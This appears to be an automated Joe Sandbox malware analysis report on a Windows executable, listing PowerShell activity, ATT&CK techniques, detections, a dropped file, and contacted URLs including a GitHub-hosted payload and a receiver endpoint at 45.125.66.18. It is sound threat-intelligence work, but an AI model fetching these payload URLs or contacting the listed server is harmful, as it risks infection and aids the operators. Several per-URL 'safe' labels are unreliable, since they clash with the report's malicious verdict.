Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\1feP5qTCl0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	11 Input Capture	1 Query Registry	Remote Services	11 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	211 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Modify Registry	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	131 Virtualization/Sandbox Evasion	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Install Root Certificate	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1feP5qTCl0.exe	11%	ReversingLabs
1feP5qTCl0.exe	8%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Reka\rapnewsa.exe	100%	Avira	HEUR/AGEN.1315917
C:\Reka\rapnewsa.exe	100%	Joe Sandbox ML
C:\Reka\rapnewsa.exe	16%	ReversingLabs
C:\Reka\rapnewsa.exe	24%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
github.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
httpbin.org	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://httpbin.org/get	0%	URL Reputation	safe
http://microsoft.co	0%	Avira URL Cloud	safe
https://github.com/workhasf/kelm/raw/main/iconozave.exeraw.githubusercontent.comdefault-src	0%	Avira URL Cloud	safe
https://45.125.66.18/l9	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recv	0%	Avira URL Cloud	safe
https://github.com	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/workhasf/kelm/main/nepipirusas.json	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recvS	0%	Avira URL Cloud	safe
https://github.com/workhasf/kelm/raw/main/iconozave.exeC:	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recv	3%	Virustotal		Browse
https://45.125.66.18:443/api/receiver/recv	0%	Avira URL Cloud	safe
https://github.com	0%	Virustotal		Browse
https://github.com/workhasf/kelm/raw/main/iconozave.exe	0%	Avira URL Cloud	safe
http://microsoft.co	1%	Virustotal		Browse
https://45.125.66.18/api/receiver/recvz	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/workhasf/kelm/main/yjsefceawd.json	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe	1%	Virustotal		Browse
https://github.com/workhasf/kelm/raw/main/iconozave.exe	0%	Virustotal		Browse
https://45.125.66.18:443/api/receiver/recv	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
github.com	140.82.121.3	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.109.133	true	false	0%, Virustotal, Browse	unknown
httpbin.org	34.194.69.213	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://httpbin.org/get	false	URL Reputation: safe	unknown
https://45.125.66.18/api/receiver/recv	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/workhasf/kelm/main/nepipirusas.json	false	Avira URL Cloud: safe	unknown
https://github.com/workhasf/kelm/raw/main/iconozave.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/workhasf/kelm/main/yjsefceawd.json	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://45.125.66.18/l9	rapnewsa.exe, 00000013.00000002.2038436475.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/workhasf/kelm/raw/main/iconozave.exeraw.githubusercontent.comdefault-src	1feP5qTCl0.exe, 00000000.00000002.2050595870.000000C00020C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://microsoft.co	rapnewsa.exe, 00000013.00000002.2038436475.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com	1feP5qTCl0.exe, 00000000.00000002.2050595870.000000C00020C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://45.125.66.18/api/receiver/recvS	rapnewsa.exe, 00000013.00000002.2038436475.000000000118E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/workhasf/kelm/raw/main/iconozave.exeC:	1feP5qTCl0.exe, 00000000.00000002.2048398307.000000C00000E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.125.66.18:443/api/receiver/recv	rapnewsa.exe, 00000013.00000002.2038436475.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://45.125.66.18/api/receiver/recvz	rapnewsa.exe, 00000013.00000002.2038436475.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
34.194.69.213	httpbin.org	United States	14618	AMAZON-AESUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
45.125.66.18	unknown	Hong Kong	133398	TELE-ASTeleAsiaLimitedHK	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1499701
Start date and time:	2024-08-27 12:54:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1feP5qTCl0.exe renamed because original name is a hash value
Original Sample Name:	64aaffe3b4d705b9ddbce60e8fd8b9829c20438b8c68ae254e185c0f466e0265.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@25/31@3/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 1feP5qTCl0.exe, PID 6120 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:55:11	API Interceptor	94x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.109.133	https://github.com/angryip/ipscan/releases/download/3.9.1/ipscan-3.9.1-setup.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.xycwio.1244.6578.exe	Get hash	malicious	Coinhive	Browse
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse
	ep_setup.exe	Get hash	malicious	Unknown	Browse
	http://yathuchandran.github.io/Metamask.clone	Get hash	malicious	Unknown	Browse
	http://web3linksync.pages.dev/	Get hash	malicious	Unknown	Browse
	Neverlose.exe	Get hash	malicious	XWorm	Browse
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	HTMLPhisher	Browse
	https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org	Get hash	malicious	HTMLPhisher	Browse
140.82.121.3	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3
45.125.66.18	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse
45.125.66.18	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.xycwio.1244.6578.exe	Get hash	malicious	Coinhive	Browse	185.199.109.133
	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.xycwio.1244.6578.exe	Get hash	malicious	Coinhive	Browse	185.199.111.133
	SecuriteInfo.com.Trojan-PSW.Win32.Stealer.cifv.26324.32739.exe	Get hash	malicious	Phemedrone Stealer	Browse	185.199.108.133
	Neverlose.exe	Get hash	malicious	XWorm	Browse	185.199.109.133
	N8LgG4xO0F.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.199.111.133
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	185.199.108.133
	FlashUpdates.js	Get hash	malicious	Unknown	Browse	185.199.109.133
	1U34vTVJ97.pdf	Get hash	malicious	Unknown	Browse	185.199.110.133
	Ld0f3NDosJ.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	OD8uS0ksdv.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
github.com	https://github.com/angryip/ipscan/releases/download/3.9.1/ipscan-3.9.1-setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://slopeofhope.com/commentsys/lnk.php?u=https://haconsultores.com.mx/legend/maxwell/ldpzbsp/michaelm@umcu.org&c=E,1,A_Yp496oib_-f1w3pZp4Hud2rskHoBUUu9m1zLjByrw-OpNq6TJQE-QgWUsuKigOG1mWiTep0uj-kK8C5-LvX_Bqh-uGvKRKtcnVwRDbXNCSMFYS3grZceoYqs0,&typo=1	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	http://chengduyiwokeji-haiwai.datasink.datasjourney.com	Get hash	malicious	Unknown	Browse	140.82.121.3
	ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.Trojan-PSW.Win32.Stealer.cifv.26324.32739.exe	Get hash	malicious	Phemedrone Stealer	Browse	140.82.121.3
	http://web3linksync.pages.dev/	Get hash	malicious	Unknown	Browse	140.82.121.4
httpbin.org	IDMCRK.exe	Get hash	malicious	Fredy Stealer	Browse	3.224.242.112
	IDMCRK.exe	Get hash	malicious	Fredy Stealer	Browse	3.224.242.112
	Quarantined Messages(1).zip	Get hash	malicious	Unknown	Browse	107.23.72.23
	visabuilder.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse	54.86.243.105
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	54.243.255.141
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	54.86.243.105
	https://maisontrouvaille8.wordpress.com/	Get hash	malicious	Unknown	Browse	54.243.255.141
	https://addtocartcommerce.wordpress.com/	Get hash	malicious	Unknown	Browse	54.243.255.141
	idman642build18Full.exe	Get hash	malicious	Fredy Stealer	Browse	54.86.243.105
	idman642build18Full.exe	Get hash	malicious	Fredy Stealer	Browse	54.243.255.141

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	Money Fellows Signatures Consent Docs#122531(Revised).pdf	Get hash	malicious	Unknown	Browse	23.22.254.206
	https://n3ki6w9.r.ap-northeast-2.awstrack.me/L0/https:%2F%2Fet.sp-25.com%2Fe%2Fc%2FOTizp%3FreferCode=product_OT2211aaaaaaaaaa%26shortLink=aaaaa%26longLink=H4sIAAAAAAAAAAXBWxLAEAwAwBNFCFP0Np7DhzLC_bvbzln8IvKCeQSPsM-63EoeIs2BYXW8H9_IafdYUCotqyUCW00Co8wDzmUFkhJ58qVqo35jyZFkUwAAAA==%26ecSource=OT%26referId=8725724309822211/1/010c01918f3a3e79-f24b6623-ae8f-4f46-a748-e9746a6021e2-000000/4Oo6Bk-hd_o5oOs3lBvVzZAlIjU=173	Get hash	malicious	Unknown	Browse	54.165.190.241
	https://indd.adobe.com/view/9cfcac35-338b-4a63-bb28-60a870b890db	Get hash	malicious	HTMLPhisher	Browse	23.22.254.206
	https://we.tl/t-RErWU1YgQS	Get hash	malicious	Unknown	Browse	34.202.209.143
	https://wavebrowser.co/	Get hash	malicious	Unknown	Browse	3.222.199.46
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	34.232.140.51
	virus total.pdf	Get hash	malicious	HTMLPhisher	Browse	23.22.254.206
	CMB Monaco Signatures Consent Docs#299229(Revised).pdf	Get hash	malicious	Unknown	Browse	52.202.204.11
	https://messaging-security.comano.us/XdEtiQ3I4emJ5ZldQUWF3SmcwOEQ4cURsb24rSWYyY2loVzV5bktYMlpLSlVxalNnL1RabENaQmozTzkvS3FhK1Z5ZTJDZHlNa1VGbnJDL1g3ZHBLdXdYNUJJbXVhckp5RmFuam41SWhoR0tQUTVWSmNSeEdVdXp3ZmV3eksreWs4dlFnVTBqZG8xUDdFZU9sN1JGZUNtUGdHQnZsVVJLRHREbFNUQm54UWtMa3dmdFNwVENxQTRLaFh3PT0tLUd4TXFReTErSUVBOTZZdDQtLWFZbmE1c254RWIwVWNyTkhyVHN0TUE9PQ==?cid=2140479915	Get hash	malicious	Unknown	Browse	52.207.82.236
	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.xycwio.1244.6578.exe	Get hash	malicious	Coinhive	Browse	3.222.64.100
FASTLYUS	https://indd.adobe.com/view/9cfcac35-338b-4a63-bb28-60a870b890db	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://we.tl/t-RErWU1YgQS	Get hash	malicious	Unknown	Browse	199.232.188.84
	http://ebay.to/3u2gAme	Get hash	malicious	Unknown	Browse	199.232.188.84
	https://github.com/angryip/ipscan/releases/download/3.9.1/ipscan-3.9.1-setup.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	151.101.129.229
	virus total.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.244.43.131
	https://messaging-security.comano.us/XdEtiQ3I4emJ5ZldQUWF3SmcwOEQ4cURsb24rSWYyY2loVzV5bktYMlpLSlVxalNnL1RabENaQmozTzkvS3FhK1Z5ZTJDZHlNa1VGbnJDL1g3ZHBLdXdYNUJJbXVhckp5RmFuam41SWhoR0tQUTVWSmNSeEdVdXp3ZmV3eksreWs4dlFnVTBqZG8xUDdFZU9sN1JGZUNtUGdHQnZsVVJLRHREbFNUQm54UWtMa3dmdFNwVENxQTRLaFh3PT0tLUd4TXFReTErSUVBOTZZdDQtLWFZbmE1c254RWIwVWNyTkhyVHN0TUE9PQ==?cid=2140479915	Get hash	malicious	Unknown	Browse	199.232.196.193
	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.xycwio.1244.6578.exe	Get hash	malicious	Coinhive	Browse	185.199.109.133
	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.xycwio.1244.6578.exe	Get hash	malicious	Coinhive	Browse	185.199.111.133
TELE-ASTeleAsiaLimitedHK	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	https://57365oo.cc/	Get hash	malicious	Phisher	Browse	45.125.65.213
	zte.arm7.elf	Get hash	malicious	Unknown	Browse	45.125.66.78
	Kxk45K3cAx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	NVu6VqOPCN.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	4A4hEAVRnJ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	Y6dJm8taZO.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	2Ipy5SuBUQ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
	KgIQ7WeeC1.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223
GITHUBUS	https://github.com/angryip/ipscan/releases/download/3.9.1/ipscan-3.9.1-setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://slopeofhope.com/commentsys/lnk.php?u=https://haconsultores.com.mx/legend/maxwell/ldpzbsp/michaelm@umcu.org&c=E,1,A_Yp496oib_-f1w3pZp4Hud2rskHoBUUu9m1zLjByrw-OpNq6TJQE-QgWUsuKigOG1mWiTep0uj-kK8C5-LvX_Bqh-uGvKRKtcnVwRDbXNCSMFYS3grZceoYqs0,&typo=1	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	https://github.com/massgravel/Microsoft-Activation-Scripts	Get hash	malicious	Unknown	Browse	140.82.112.21
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.Trojan-PSW.Win32.Stealer.cifv.26324.32739.exe	Get hash	malicious	Phemedrone Stealer	Browse	140.82.121.3
	http://yathuchandran.github.io/Metamask.clone	Get hash	malicious	Unknown	Browse	140.82.114.21
	http://web3linksync.pages.dev/	Get hash	malicious	Unknown	Browse	140.82.121.4
	Neverlose.exe	Get hash	malicious	XWorm	Browse	140.82.121.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	48DhuEoTcX.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	45.125.66.18
	6863(1)2.exe	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	20240730#U7cfb#U7edf#U5f02#U5e38#U62a5#U9519.exe	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	LisectAVT_2403002B_116.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	LisectAVT_2403002B_116.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	LisectAVT_2403002B_312.dll	Get hash	malicious	Trickbot	Browse	45.125.66.18
	2new.dll.dll	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	havoc_x64.exe	Get hash	malicious	Havoc	Browse	45.125.66.18

Dropped Files

⊘No context

Created / dropped Files

C:\Reka\rapnewsa.exe

Download File

Process:	C:\Users\user\Desktop\1feP5qTCl0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.972409904582663
Encrypted:	false
SSDEEP:	768:ZCMmeyIJkkZ7XPImohfdjm7MEW/kJ7S/DWJ3GTHvvM1zI:ZCFeySkkJgl2MEW/ozwXM1
MD5:	2D4E723C184D9403B078E53F2DE74A23
SHA1:	92FA5F8F346CB987F249BD41755C5AEDAF4C8646
SHA-256:	0A6BF0678BBD793E39A84DFB4C71D8B709D9E538288BF826C48B1BA899803BA4
